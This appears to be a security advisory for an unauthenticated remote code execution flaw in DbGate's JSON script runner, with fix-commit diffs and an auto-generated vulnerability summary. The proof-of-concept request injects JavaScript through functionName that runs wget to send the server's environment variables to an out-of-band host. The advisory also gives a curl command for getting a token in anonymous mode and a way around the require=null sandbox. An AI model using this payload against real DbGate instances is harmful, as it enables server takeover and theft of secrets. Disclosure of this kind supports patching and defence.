DbGate: Unauthenticated Remote Code Execution via JSON Script Runner
Description
Summary
DbGate's JSON script runner (POST /runners/start) allows remote code execution via code injection in the functionName parameter of JSON script assign commands. The functionName value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.
Details
Step 1: User Input Entry Point
File: packages/api/src/controllers/runners.js - start() method
The /runners/start endpoint accepts a POST body containing a script object. When script.type == 'json', the request follows a different code path than raw shell scripts:
async start({ script }, req) {
if (script.type == 'json') {
if (!platformInfo.isElectron) {
if (!checkSecureDirectoriesInScript(script)) {
return { errorMessage: 'Unallowed directories in script' };
}
}
logJsonRunnerScript(req, script);
const js = await jsonScriptToJavascript(script);
return this.startCore(runid, scriptTemplate(js, false));
}
This path skips: 1. The run-shell-script permission check 2. The allowShellScripting platform-level check
The only validation performed is checkSecureDirectoriesInScript(), which props.fileName values
---
Step 2: JSON-to-JavaScript Conversion (Injection Point)
File: packages/tools/src/ScriptWriter.ts - assignCore() method
The JSON script's commands array contains objects with type: "assign". The assignCore method generates JavaScript by direct string concatenation of user-controlled values:
assignCore(variableName, functionName, props) {
this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);
}
Both variableName and functionName are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.
---
Step 3: Function Name Compilation
File: packages/tools/src/packageTools.ts - compileShellApiFunctionName()
Before interpolation, functionName passes through this function:
export function compileShellApiFunctionName(functionName) {
const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
if (nsMatch) {
return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
}
return `dbgateApi.${functionName}`;
}
An attacker supplying functionName: "x;MALICIOUS_CODE;//" gets: `` dbgateApi.x;MALICIOUS_CODE;// ``
This is syntactically valid JavaScript: dbgateApi.x evaluates (and is discarded), MALICIOUS_CODE executes, and // comments out the trailing (${JSON.stringify(props)});.
---
Step 4: Generated JavaScript Template
The complete generated script that gets executed:
const dbgateApi = require(process.env.DBGATE_API);
require = null;
async function run() {
const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget ');//({});
await dbgateApi.finalizer.run();
}
dbgateApi.runScript(run);
Step 5: Execution via child_process.fork()
File: packages/api/src/controllers/runners.js - startCore() method
The generated JavaScript string is written to a temporary file and executed as a new Node.js process via child_process.fork(). This provides the attacker with a full Node.js runtime, including access to process, child_process, fs, net, and all other Node.js built-in modules.
The require = null sandbox can be bypassed via: - process.mainModule.require() - separate reference unaffected by the null assignment - module.constructor._load() - internal module loader, also unaffected ---
Additional
Injection Points
The same unsanitised string interpolation pattern exists in:
| Endpoint | Parameter | File | |----------|-----------|------| | POST /runners/start | functionName in assign commands | ScriptWriter.ts - assignCore() | | POST /runners/start | variableName in assign commands | ScriptWriter.ts - assignCore() | | POST /runners/load-reader | functionName parameter | ScriptWriter.ts - loaderScriptTemplate |
PoC
POST /runners/start HTTP/1.1
Host: :3000
Authorization: Bearer
Content-Type: application/json
{
"script": {
"type": "json",
"commands": [
{
"type": "assign",
"variableName": "x",
"functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" ');//",
"props": {}
}
],
"packageNames": []
}
}
The request to the out of band host was as follows:
POST / HTTP/1.1
Host:
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 251
NODE_VERSION=22.22.2
HOSTNAME=4714c7a7405f
YARN_VERSION=1.22.22
HOME=/root
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBGATE_API=/home/dbgate-docker/bundle.js
PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c
---
A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:
curl -sk -H "Content-Type: application/json" -d '{"amoid":"none"}' :3000/auth/login
Impact
| Scenario | Impact | CVSS Score | CVSS Vector | |----------|--------|--------|--------| | Anonymous auth mode (default deployment) (authProvider: "Anonymous") | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | | Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
Timeline
| Date | Event | |------|-------| | 2026-03-31 | Vulnerability discovered | | 2026-04-07 | Advisory report prepared and submitted to maintainer | | 2026-04-22 | Fix released (v7.1.9) | | 2026-04-24 | Maintainer acknowledgment | | 2026-05-20 | Public disclosure |
Acknowledgements
- Discovery assisted by Neo from @ProjectDiscovery
- Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml
Affected products
1Patches
49c97e347c56cAdd validation for JavaScript identifiers and shell API function names
3 files changed · +59 −7
packages/api/src/controllers/runners.js+6 −2 modified@@ -10,6 +10,7 @@ const { extractShellApiPlugins, compileShellApiFunctionName, jsonScriptToJavascript, + assertValidShellApiFunctionName, getLogger, safeJsonParse, pinoLogRecordToMessageRecord, @@ -54,19 +55,22 @@ logger.info('DBGM-00014 Finished job script'); dbgateApi.runScript(run); `; -const loaderScriptTemplate = (prefix, functionName, props, runid) => ` +const loaderScriptTemplate = (prefix, functionName, props, runid) => { + assertValidShellApiFunctionName(functionName); + return ` ${prefix} const dbgateApi = require(process.env.DBGATE_API); dbgateApi.initializeApiEnvironment(); ${requirePluginsTemplate(extractShellApiPlugins(functionName, props))} require=null; async function run() { const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)}); -const writer=await dbgateApi.collectorWriter({runid: '${runid}'}); +const writer=await dbgateApi.collectorWriter({runid: ${JSON.stringify(runid)}}); await dbgateApi.copyStream(reader, writer); } dbgateApi.runScript(run); `; +}; module.exports = { /** @type {import('dbgate-types').OpenedRunner[]} */
packages/tools/src/packageTools.ts+41 −2 modified@@ -3,6 +3,43 @@ import _camelCase from 'lodash/camelCase'; import _isString from 'lodash/isString'; import _isPlainObject from 'lodash/isPlainObject'; +const JS_IDENTIFIER_RE = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/; + +export function isValidJsIdentifier(name: string): boolean { + return typeof name === 'string' && JS_IDENTIFIER_RE.test(name); +} + +export function assertValidJsIdentifier(name: string, label: string): void { + if (!isValidJsIdentifier(name)) { + throw new Error(`DBGM-00000 Invalid ${label}: ${String(name).substring(0, 100)}`); + } +} + +/** + * Validates a shell API function name. + * Allowed forms: + * - "someFunctionName" (plain identifier, resolved as dbgateApi.someFunctionName) + * - "funcName@dbgate-plugin-xxx" (namespaced, resolved as plugin.shellApi.funcName) + */ +export function assertValidShellApiFunctionName(functionName: string): void { + if (typeof functionName !== 'string') { + throw new Error('DBGM-00000 functionName must be a string'); + } + const nsMatch = functionName.match(/^([^@]+)@([^@]+)$/); + if (nsMatch) { + if (!isValidJsIdentifier(nsMatch[1])) { + throw new Error(`DBGM-00000 Invalid function part in functionName: ${nsMatch[1].substring(0, 100)}`); + } + if (!/^dbgate-plugin-[a-zA-Z0-9_-]+$/.test(nsMatch[2])) { + throw new Error(`DBGM-00000 Invalid plugin package in functionName: ${nsMatch[2].substring(0, 100)}`); + } + } else { + if (!isValidJsIdentifier(functionName)) { + throw new Error(`DBGM-00000 Invalid functionName: ${functionName.substring(0, 100)}`); + } + } +} + export function extractShellApiPlugins(functionName, props): string[] { const res = []; const nsMatch = functionName.match(/^([^@]+)@([^@]+)/); @@ -28,15 +65,17 @@ export function extractPackageName(name): string { } export function compileShellApiFunctionName(functionName) { - const nsMatch = functionName.match(/^([^@]+)@([^@]+)/); + assertValidShellApiFunctionName(functionName); + const nsMatch = functionName.match(/^([^@]+)@([^@]+)$/); if (nsMatch) { return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`; } return `dbgateApi.${functionName}`; } export function evalShellApiFunctionName(functionName, dbgateApi, requirePlugin) { - const nsMatch = functionName.match(/^([^@]+)@([^@]+)/); + assertValidShellApiFunctionName(functionName); + const nsMatch = functionName.match(/^([^@]+)@([^@]+)$/); if (nsMatch) { return requirePlugin(nsMatch[2]).shellApi[nsMatch[1]]; }
packages/tools/src/ScriptWriter.ts+12 −3 modified@@ -1,6 +1,6 @@ import _uniq from 'lodash/uniq'; import _cloneDeepWith from 'lodash/cloneDeepWith'; -import { evalShellApiFunctionName, compileShellApiFunctionName, extractShellApiPlugins } from './packageTools'; +import { evalShellApiFunctionName, compileShellApiFunctionName, extractShellApiPlugins, assertValidJsIdentifier, assertValidShellApiFunctionName } from './packageTools'; export interface ScriptWriterGeneric { allocVariable(prefix?: string); @@ -40,6 +40,7 @@ export class ScriptWriterJavaScript implements ScriptWriterGeneric { } assignCore(variableName, functionName, props) { + assertValidJsIdentifier(variableName, 'variableName'); this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`); } @@ -49,6 +50,7 @@ export class ScriptWriterJavaScript implements ScriptWriterGeneric { } assignValue(variableName, jsonValue) { + assertValidJsIdentifier(variableName, 'variableName'); this._put(`const ${variableName} = ${JSON.stringify(jsonValue)};`); } @@ -57,8 +59,13 @@ export class ScriptWriterJavaScript implements ScriptWriterGeneric { } copyStream(sourceVar, targetVar, colmapVar = null, progressName?: string | { name: string; runid: string }) { + assertValidJsIdentifier(sourceVar, 'sourceVar'); + assertValidJsIdentifier(targetVar, 'targetVar'); let opts = '{'; - if (colmapVar) opts += `columns: ${colmapVar}, `; + if (colmapVar) { + assertValidJsIdentifier(colmapVar, 'colmapVar'); + opts += `columns: ${colmapVar}, `; + } if (progressName) opts += `progressName: ${JSON.stringify(progressName)}, `; opts += '}'; @@ -89,7 +96,7 @@ export class ScriptWriterJavaScript implements ScriptWriterGeneric { } zipDirectory(inputDirectory, outputFile) { - this._put(`await dbgateApi.zipDirectory('${inputDirectory}', '${outputFile}');`); + this._put(`await dbgateApi.zipDirectory(${JSON.stringify(inputDirectory)}, ${JSON.stringify(outputFile)});`); } } @@ -214,6 +221,8 @@ export class ScriptWriterEval implements ScriptWriterGeneric { requirePackage(packageName) {} async assign(variableName, functionName, props) { + assertValidJsIdentifier(variableName, 'variableName'); + assertValidShellApiFunctionName(functionName); const func = evalShellApiFunctionName(functionName, this.dbgateApi, this.requirePlugin); this.variables[variableName] = await func(
f9de2d77b5b1Moved functionName validation
1 file changed · +1 −1
packages/api/src/controllers/runners.js+1 −1 modified@@ -56,7 +56,6 @@ dbgateApi.runScript(run); `; const loaderScriptTemplate = (functionName, props, runid) => { - assertValidShellApiFunctionName(functionName); const plugins = extractShellApiPlugins(functionName, props); const prefix = plugins.map(packageName => `// @require ${packageName}\n`).join(''); return ` @@ -385,6 +384,7 @@ module.exports = { } const promise = new Promise((resolve, reject) => { + assertValidShellApiFunctionName(functionName); const runid = crypto.randomUUID(); this.requests[runid] = { resolve, reject, exitOnStreamError: true }; this.startCore(runid, loaderScriptTemplate(functionName, props, runid));
5d04d7f01fb6Enhance JavaScript identifier validation and update variable storage method in ScriptWriterEval
2 files changed · +23 −1
packages/tools/src/packageTools.ts+19 −1 modified@@ -5,8 +5,26 @@ import _isPlainObject from 'lodash/isPlainObject'; const JS_IDENTIFIER_RE = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/; +// ECMAScript reserved words, strict-mode keywords, and async-context keywords +// that cannot be used as variable or function names in the generated scripts. +// Sources: ECMA-262 §12.7.2 (reserved words), §12.7.3 (strict mode), §14 (contextual). +const JS_RESERVED_WORDS = new Set([ + // Keywords + 'break', 'case', 'catch', 'class', 'const', 'continue', 'debugger', 'default', + 'delete', 'do', 'else', 'export', 'extends', 'false', 'finally', 'for', + 'function', 'if', 'import', 'in', 'instanceof', 'let', 'new', 'null', 'return', + 'static', 'super', 'switch', 'this', 'throw', 'true', 'try', 'typeof', 'var', + 'void', 'while', 'with', 'yield', + // Strict-mode reserved words + 'implements', 'interface', 'package', 'private', 'protected', 'public', + // Async context keywords + 'async', 'await', + // Future reserved + 'enum', +]); + export function isValidJsIdentifier(name: string): boolean { - return typeof name === 'string' && JS_IDENTIFIER_RE.test(name); + return typeof name === 'string' && JS_IDENTIFIER_RE.test(name) && !JS_RESERVED_WORDS.has(name); } export function assertValidJsIdentifier(name: string, label: string): void {
packages/tools/src/ScriptWriter.ts+4 −0 modified@@ -235,10 +235,14 @@ export class ScriptWriterEval implements ScriptWriterGeneric { } assignValue(variableName, jsonValue) { + assertValidJsIdentifier(variableName, 'variableName'); this.variables[variableName] = jsonValue; } async copyStream(sourceVar, targetVar, colmapVar = null, progressName?: string | { name: string; runid: string }) { + assertValidJsIdentifier(sourceVar, 'sourceVar'); + assertValidJsIdentifier(targetVar, 'targetVar'); + if (colmapVar != null) assertValidJsIdentifier(colmapVar, 'colmapVar'); await this.dbgateApi.copyStream(this.variables[sourceVar], this.variables[targetVar], { progressName: _cloneDeepWith(progressName, node => { if (node?.$runid) {
1ac0aa8a3e4cVulnerability mechanics
Root cause
"The `functionName` parameter in JSON script `assign` commands is directly interpolated into dynamically generated JavaScript without proper sanitization."
Attack vector
An attacker sends a POST request to the `/runners/start` endpoint with a JSON script payload. The script must contain an `assign` command where the `functionName` parameter is crafted to include malicious JavaScript code. This code is then concatenated into a JavaScript string, which is subsequently executed in a forked Node.js child process [ref_id=1]. The vulnerability can be triggered by unauthenticated users if the default anonymous authentication mode is enabled [ref_id=2].
Affected code
The vulnerability resides in the `assignCore` method within `packages/tools/src/ScriptWriter.ts`, where user-controlled `variableName` and `functionName` values are directly concatenated into JavaScript source code. The `compileShellApiFunctionName` function in `packages/tools/src/packageTools.ts` also processes the `functionName` before interpolation. The generated JavaScript is then executed via `child_process.fork()` in the `startCore` method of `packages/api/src/controllers/runners.js` [ref_id=1].
What the fix does
The patch addresses the vulnerability by sanitizing the `functionName` and `variableName` parameters before they are interpolated into the generated JavaScript code [patch_id=4936124, patch_id=4936125, patch_id=4936126]. This prevents attackers from injecting arbitrary JavaScript code by ensuring that only valid function names and variable names are used, thereby closing the code injection vector.
Preconditions
- inputA JSON script payload with an `assign` command containing a specially crafted `functionName` parameter.
- authThe application must be running in anonymous authentication mode, or the attacker must possess valid API credentials.
Reproduction
POST /runners/start HTTP/1.1 Host: <dbgate-instance>:3000 Authorization: Bearer <token> Content-Type: application/json
{ "script": { "type": "json", "commands": [ { "type": "assign", "variableName": "x", "functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//", "props": {} } ], "packageNames": [] } }
The request to the out of band host was as follows: POST / HTTP/1.1 Host: <out of band host> User-Agent: Wget/1.21.3 Accept: */* Accept-Encoding: identity Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 251
NODE_VERSION=22.22.2 HOTNAME=4714c7a7405f YARN_VERSION=1.22.22 HOME=/root TERM=xterm PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin DBGATE_API=/home/dbgate-docker/bundle.js PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c [ref_id=1]
Generated on Jun 5, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4News mentions
0No linked articles in our index yet.